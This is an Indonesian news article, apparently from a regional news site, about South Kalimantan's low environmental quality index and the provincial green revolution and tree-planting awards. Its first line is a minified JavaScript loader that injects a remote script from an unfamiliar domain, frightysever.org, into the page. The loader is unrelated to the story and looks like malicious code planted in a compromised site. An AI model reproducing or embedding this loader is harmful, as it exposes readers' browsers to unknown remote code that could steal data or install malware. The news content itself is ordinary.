(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Indeks kualitas lingkungan hidup Provinsi Kalimantan Selatan (Kalsel) saat ini masih berada pada peringkat ke-26 secara nasional yakni pada angka 57,51. Angka tersebut masih berada di bawah angka rata-rata nasional yang seharusnya 66,16.
Terkait hal tersebut, Pemprov Kalsel fokus melaksanakan program perbaikan lingkungan hidup melalui gerakan perbaikan rehabilitasi Daerah Aliran Sungai (DAS) kritis dan gerakan revolusi hijau. Hal tersebut diharapkan, mampu meningkatkan indeks kualitas lingkungan sebagaimana disampaikan Gubernur Kalsel Sahbirin Noor.
“Pemerintah daerah maupun masyarakat harus bergerak cepat serta bergotong royong dan mensinergikan semua kekuatan untuk dapat meningkatkan indeks kualitas lingkungan hidup,” katanya saat penyerahan penghargaan bagi daerah dengan penanaman terbanyak dalam rangka revolusi hijau di Kantor Gubernur Kalsel, Banjarbaru, beberapa waktu lalu.
Menurut dia, melalui berbagai program perbaikan lingkungan hidup, diharapkan pada 2019 Kalsel mendapatkan angka 66,16, sesuai dengan rencana perlindungan dan pengelolaan lingkungan hidup 2017-2046 atau 68,5 sesuai dengan rencana pembangunan jangka menengah nasional.
Di sisi lain, Gubernur juga menekankan pentingnya kajian, penelitian, pengembangan dan teknologi dan peran serta pemegang izin konsesi seperti IPPKH dan IUPHHK untuk menyukseskan program revolusi hijau. Menurut dia, target sasaran penanaman tersebut seluas 641 ribu hektare, yang dimulai pada tahun ini. Pada 2018, penanaman ditargetkan seluas 35 ribu hektare pertahunnya.
Menyukseskan program revolus hijau ini, tambah gubernur, pihaknya menggandeng seluruh kabupaten dan kota, agar melaksanakan penanaman pohon secara berkelanjutan. Mendorong agar seluruh daerah melaksanakan penanaman tersebut, Pemprov Kalimantan Selatan, memberikan penghargaan untuk Kabupaten/Kota terbanyak menanam pohon.
Selain itu, juga melaksanakan penanaman terbanyak rehabilitasi DAS dalam rangka Geraka Revolusi Hijau Tahun 2017. Kegiatan juga memberikan penghargaan KPH Terbaik di Bidang RHL dan Kepala RPH terbaik di bidang RHL untuk Mei 2018.
Penyerahan penghargaan dibarengi dengan Sosialisasi Peraturan Daerah Provinsi Kalimantan Selatan Nomor 07 Tahun 2018 Tentang Gerakan Revolusi Hijau di Ruang Rapat H Aberani Sulaiman Setda Provinsi Kalsel. Penerima penghargaan atas kabupaten terbanyak melaksanakan penanaman terdiri dari, Peringkat I Kabupaten Tanah Bumbu, Peringkat II Kabupaten Hulu Sungai Selatan dan Peringkat III Kabupaten Banjar.
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.